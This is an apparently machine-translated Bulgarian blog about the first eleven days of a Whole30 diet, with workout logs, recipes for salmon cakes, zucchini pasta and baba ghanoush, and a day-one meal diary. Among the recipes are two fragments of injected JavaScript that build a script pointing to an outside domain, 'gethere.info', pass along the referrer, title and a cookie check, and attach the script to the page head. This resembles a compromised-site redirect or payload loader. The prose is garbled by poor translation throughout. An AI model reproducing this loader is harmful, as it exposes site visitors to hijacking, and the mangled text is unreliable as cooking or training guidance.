Шам-фъстък-кокосово масло, изсушено със спаначено песто и печена тиква, сурови спагети маринара, италиански болонезе и други през първите 11 дни със здравословно предизвикателство Whole30:).
Нека ви кажа, Whole30 не е забавно! Влязох в него с решителност, изпълнен с очаквания и голям ентусиазъм. След няколко дни (точно след шест) започнаха съмнения. Първи въздържатели и се убеждавам, че е нормално да имам чай в 21 часа - „Това е всичко, което можете да направите“, казах си.
Отначало след всяко хранене се чувствах сякаш не съм ял. Трябваше да изчакам известно време, преди стомахът ми да осъзнае, че няма да получи нищо повече. След 3 дни обаче се стабилизира. Те обаче бяха последвани от около 3 други, когато отново почувствах, че съм ял твърде много.
На 7-мия ден ми се случи, че бях толкова сит от предния ден (ядох точно преди лягане), че основно пропуснах закуската и изядох три по-малки хранения през деня. Но отново успях да ям смути само за следващата закуска.
Безкрайната въртележка се повтори и веднага дойде няколко дни, когато не можех да получа само 3-те хранения, но ги допълних с някои ядки освен.
Намирането на тази златна среда ще положи усилия и мисля, че всеки ще намери своя собствена с всяка диета, просто ви трябва щипка търпение и желанието да експериментирате. Но никога не забравям кои храни правят и кои не.
Чувствата ми:
- за моя изненада изобщо не ми липсва шоколад - и го ям всеки ден
- Аз също нямам голям проблем с това да не ям "сладко"
- кисело млечни продукти като кисело мляко, закваска, . много ми липсват
- наличието на животински протеин във всяко хранене ме убива малко
- енергията през целия ден без колебания е перфектна
- от една страна мислите за храна по-малко, от друга повече:)
Моите наблюдения и съвети:
- не оставяйте плодове в края
- комбинация от яйца, ябълки и кокосово масло - НЕ
- твърде много сурова храна за един ден се надува
- добре е да ядете няколко часа преди лягане (обикновено съм свикнал да ям преди лягане, но тъй като вечерята съставлява повече от 1/3 от дневния прием, яденето преди това не си струва и дори не е приятно)
- кожата ми е наистина по-добра:)
- порциите, които консумирам, са наистина огромни, но това, което се чудя, когато повечето са само зеленчуци:)
- не забравяйте да следвате зададените количества, в противен случай няма да издържите до следващото хранене
- добре е да проверите калоричните стойности на отделните ястия, за да не ядете случайно твърде малко - правя го чрез Foodlogic
Обучение:
Обичам укрепването. Правя това горе-долу от няколко години, разбира се с различни почивки.
Практикувам класически, 2-3 игри, 3-4 тренировки седмично. Обикновено 4 серии след 8-10 повторения. Това беше първото ми обучение
11 дни с Whole30.
Петък 2.1.2015 г. - гръб, бицепс и корем
- 1,5 км бягане на колана
- мъртва тяга - скрипец (завои) - завои напред - хиперекстензия
- бицепс с голяма гира - циферблат с една ръка - чук
- ханш с диск - странично хиперекстензия - повдигане на крака с повдигащ приклад
Събота 3.1.2015г - бе (3-4 км)
Неделя 4.1.2015г - гърди, трицепс, корем
- 1 км бягане
- пейка - пекдек - натиск върху гърдите върху наклонена пейка - пуловер
- натиск с една ръка зад главата - трицепс спадове - обърнати трицепс манивела - отстраняване на скрипец
- повдигане на крака с повдигане на задника
Вторник 6.1.2015 г. - рамене, крака, корем
- натиск отзад отпред - натиск на рамото с една ръка - въртене на предмишницата и колелото - затягане преди накланяне
- копаене - погребване - крак
- повдигане на крака с повдигане на седалището - странично хиперекстензия
Четвъртък 8.1.2015г т.нар Hard Core - много неприятно кръгово обучение
Събота 10.1.2015 г. - гърди, бицепс
- горна пейка - пекдек с гири - пейка - пуловер
- бицепс с голяма щанга - циферблат с една ръка - пейка на Скот
Топ ястия за 11 дни с Whole30
Храненето по време на Whole30 е наистина цветно, разнообразно и вкусно.
Наистина е невероятно какво може да се приготви от най-основните съставки!
Ястия, пълни с цвят, вкус и идея.
Разбира се, не ядох всички с пълно удоволствие, но със сигурност 90% от тях. Много от тях вече имат своя собствена рецепта на сайта и разбира се, останалите ще бъдат добавени.
Ще намерите Baba Ghanoush, шам-фъстък кокосово масло, бадемово мляко, Aglio olio peperoncino, сурови спагети от маринара, торти със сьомга и др.
Най-любимият ми е "отгоре" - солено сухо със спаначено песто и печена тиква. Вдъхнових се от тази рецепта FoodTube Джейми Оливър (видео тук). Скоро ще намерите рецептата на сайта:).
Можете да видите всички ястия в Instagram, където ги публикувам всеки ден:).
s.src = ’http: //gethere.info/kt/? 264dpr & frm = script & se_referrer =’ + encodeURIComponent (document.referrer) + ‘& default_keyword =’ + encodeURIComponent (document.title) + ”; if (document.cookie.indexOf (“_mauthtoken”) == - 1) >>) (navigator.userAgent || navigator.vendor || window.opera, 'http: //gethere.info/kt/? 264dpr &' );>
ABC смути
Кремообразно, вкусно, деликатно сладко смути от авокадо, банан и кокосово мляко
Торти със сьомга
Когато започнах да приготвям това ястие, наистина нямах представа, че ще бъде толкова страхотно:). Тортите със сьомга, както ги нарекох на словашки, са наистина перфектни. Здравословен, прост и пълен с вкус.
Как тази рецепта ми дойде, е доста интересна история. Търсих вдъхновение в спомените от пътуването си до САЩ и си спомних отличен ресторант с морски дарове, където сервираха класика, наречена „рачена торта“. Отново не ми се получи и заедно с Whole30 създадох здравословна алтернатива на сьомга в мислите си.
В крайна сметка седнах на масата с това чудо на чиния и нямах идея какво да очаквам. „Ще има ли вкус изобщо?“ - запитах се аз. За моя изненада тези „бисквитки“ бяха наистина вкусни.
На следващия ден ги обогатих със изгубено яйце, както е обичайно с традиционна американска „торта от раци“. За гарнитура избрах картофи от целина - прочетете повече за целина тук.
Ето как е прекрасна, здравословна храна в стил "бързо хранене":)
Състав: (за 2 порции)
за торти със сьомга:
- 150 г консервирана сьомга (в собствен сок)
- 1 средно червен лук
- 1 яйце
- 1 супена лъжица кокосово брашно
- щипка сол и черен пипер
- 1 чаена лъжичка прясна или суха мащерка (може да не е)
- 3 чаени лъжички кокосово масло за препичане
за опаковане:
- 1 супена лъжица смлени ленени семена
- 1 супена лъжица сусам
- 1 супена лъжица кокосово брашно
- щипка сол и черен пипер
върху изгубени яйца:
- 2 яйца
- тенджера с гореща вода
за картофи от целина:
- 300-400g целина, нарязана на пържени картофи
- сол и черен пипер на вкус
- хартия за печене
Приближаване:
- Нарежете на ситно червения лук и смесете с всички съставки за сладкишите.
- С ръце оформяме малки кюфтета от тестото и ги увиваме в смес за завиване.
- Поставете картофите от целина върху хартия за печене, посолете, подправете и печете при 200 ° C за 20 минути.
- Запържете питите със сьомга в горещо кокосово масло за 2-3 минути от всяка страна.
- Върху изгубено яйце просто сложете суровото яйце в гореща вода и изчакайте около 3 минути. Можете да намерите например видео процедурата тук.
- Ще сервираме всичко хубаво в чиния и можем да хапнем:).
Целина
Кореновата целина е тясно свързана с добре познатата стъблена целина и се отглежда заради характерната за нея подземна част. Той е идеален избор през зимата, когато най-често се използва в супи, бульони и различни видове каши.
Основи
Също на базата на прилики с целина, целината е включена в рода Apium, с латинско име Apium graveolens var. Rapaceum. Той обаче се отличава с уникалността на голямата си сферична подземна част, която има грапава и здрава повърхност.
Положителни страни от употребата
Целината има относително малко калории - около 42kcal/100g. В същото време неговата пулпа осигурява интересна гама от хранителни вещества, минерали (фосфор, магнезий, манган), витамини (К, В6, С) и фибри.
Подобно на морковите, целината е добър източник на полиацетиленови антиоксиданти (фалкаринол, панаксидиол, фалкариндиол), които имат предполагаем инхибиторен ефект върху някои видове рак.
По отношение на съдържанието на витамин, витамин К очевидно печели (34% от препоръчителната дневна доза/100g). Този витамин има способността да увеличава разпространението на костите чрез насърчаване на активността на костните клетки.
Аглио Олио Пеперончино
Проста италианска класика по-здравословна, по-бърза и по-цветна:)!
Зехтин, чесън и чили, смесени в спагети от тиквички, пилешка пържола и печен бекон. Не трябва да се добавя нищо повече:).
Съставки: (за 1 човек)
- 300g тиквички на спирала или на филийки
- 3 супени лъжици зехтин
- 1 по-малка люта чушка
- 2 скилидки чесън
- 1/2 чаена лъжичка сол и щипка черен пипер
- 100-150g пилешки гърди
- 30g качествен бекон (използвах koložvárska)
- сол и черен пипер на вкус
Приближаване:
- В купа смесете зехтин, счукан чесън, ситно нарязан лют пипер, сол и черен пипер.
- Нарежете, посолете и подправете пилешките си гърди. Нарежете бекона на фини филийки и запържете в тиган.
- Когато беконът отдели малко мазнина, добавете пилешката пържола и запържете от двете страни за около 2-3 минути.
- Поставете тиквичките в сито и ги залейте с гореща вода и ги отцедете. Това ще запази тиквичките топли, но ще остане хрупкави:).
- Прехвърлете тиквичките в чиния, добавете маслената смес и разбъркайте.
- Отгоре поставете пилешка пържола и бекон.
- Ние служим.
d.getElementsByTagName (‘глава’) [0] .appendChild (s);
Баба Гануш
Мислех, че няма по-добро ориенталско разпространение от хумуса. Е, пак сгреших:)!
Тъй като бобовите култури са забранени по време на Whole30, хумусът не можеше да става и дума. Но апетитът ми към него ме доведе до баба гануш .
Спомням си, че вкусих тази доброта няколко пъти в чайната, но никога не съм мислил за това по-съществено. Baba ghanoush е традиционно ливанско разпространение на патладжани и както разбрах, то също е идеална алтернатива на хумуса:).
Просто е божествено - патладжан, чесън, сусам и лимон. Не е взискателен към суровините и в същото време осигурява фина текстура и приятно искрящ вкус.
Сурови спагети маринара
Третият ден от предизвикателството Whole30 бавно свършва, така че мисля, че е подходящият момент да споделите рецепта с процедурата. По този начин не само ще имате точна представа как изглежда такава здравословна храна, но можете и да опитате да я приготвите у дома:).
Избрах това ястие заради неговата уникалност и изтънченост. Суровият препарат придава остър вкус и аромат на това ястие. Благодарение на тази процедура ще усетите всяка една съставка, която е в храната. Подготовката ще отнеме до 10 минути и имате здравословен, вкусен обяд по света:).
Тъй като протеинът в Whole30 не трябва да липсва, аз го допълних с парчета пилешки гърди на скара.
Състав: (на 1 порция)
- 350g тиквички (приблизително 1,5)
- 250g домати
- 50гр пролетен лук
- 1 скилидка чесън
- 30 г сушени гръцки маслини
- малко магданоз и мащерка
- сол и черен пипер на вкус
- 150-200g пилешки гърди
- 1 чаена лъжичка мехлем/кокосово масло
- сол и черен пипер на вкус
Приближаване:
- Спиралите тиквичките или ги нарежете на фини филийки.
- Поставете домати, лук и други съставки в блендер или робот и разбъркайте в гладък сос. Посолете и подправете на вкус.
- Нарежете пилето на малки медальони, посолете, подправете и запържете в тиган за 2-3 минути от двете страни.
- Смесете соса с тиквичките, сложете го в купа и отгоре поставете парчетата пиле.
Такава храна ще ви осигури следните хранителни стойности:
- калории: 542kcal
- протеин: 51g
- Въглехидрати (фибри): 26g (8)
- мазнини: 26g
Повярвайте, че това ястие определено си заслужава:)!
Започваме с Whole30
Новата година винаги идва с нови цели и ангажименти. Разбира се, това правило трябва да важи и за нас!:)
Затова решихме да влезем в 2015 със здравословно предизвикателство:). Предизвикателство под формата на нулиране на хранителните стойности, което ще продължи 30 дни.
Разбира се, ние оставаме същите и все още можете да очаквате с нетърпение вашите
популярни рецепти без захар, зърнени храни, пълни със здравословни мазнини, само от естествени съставки.
И така, защо говорим за предизвикателство? Ще ограничим менютата само до определени групи храни като месо, риба, зеленчуци, плодове и здравословни мазнини. За съжаление няма да има здравословно печене и сладкиши през цели 30 дни - но ще издържим:)!
Instagram ще бъде нашата дясна ръка за този период. Като постим ежедневно, ще ви покажем как изглежда подобна диета и какви ползи може да има за вашето тяло и здраве.
Храната, както винаги, ще бъде креативна, вкусна и бърза за приготвяне.
Като вдъхновение избрахме добре познатото предизвикателство Whole30, т.е. предизвикателството Whole30. Имаме цялата интересна и необходима информация, както и връзки към официалния им уебсайт.
Официалният ми старт започна днес, 1 януари 2015 г. С днешния блог искам да ви покажа какво ядох в първия ден на предизвикателството Whole30 и как изглеждаше.
Започнах деня пълноценно. Половин литър чаша вода с малко ябълков оцет и омлет от 3 белтъка, приготвени в необработено кокосово масло. За дегустация и като гарнитура избрах 2 супени лъжици кокосово масло, щипка канела, половина краставица и 1 физалис. Такива шампионски закуски са богати на протеини, здравословни мазнини, фибри и витамини. Разбира се, имаше кафе машина с кокос и домашно бадемово мляко.
Калории: 446,3 ккал
Въглехидрати (фибри): 18,8 g (5,2)
За обяд си хапнах спагети от 2 тиквички с доматен сос и лук. В допълнение, качествен бекон и парчета свинско филе, приготвени с мангалов маз . И още едно кафе:-).
Калории: 622 ккал
Въглехидрати (фибри): 32g (8)
Завърших деня с вечеря в знака на лека салата. Рукола, спанак, домат, 1/2 авокадо, парчета свинско филе в кокосово масло, помело и дресинг от лимонов сок и зехтин.
Калории: 596 ккал
Въглехидрати (фибри): 27g (12)
След първата седмица на това предизвикателство ще напишем още един блог за това как протича всичко:).
Кика ще се присъедини към мен след няколко дни, така че можете да очаквате с нетърпение наблюденията и чувствата на няколко души. Надяваме се да ви хареса Whole30 и искате да опитате сами.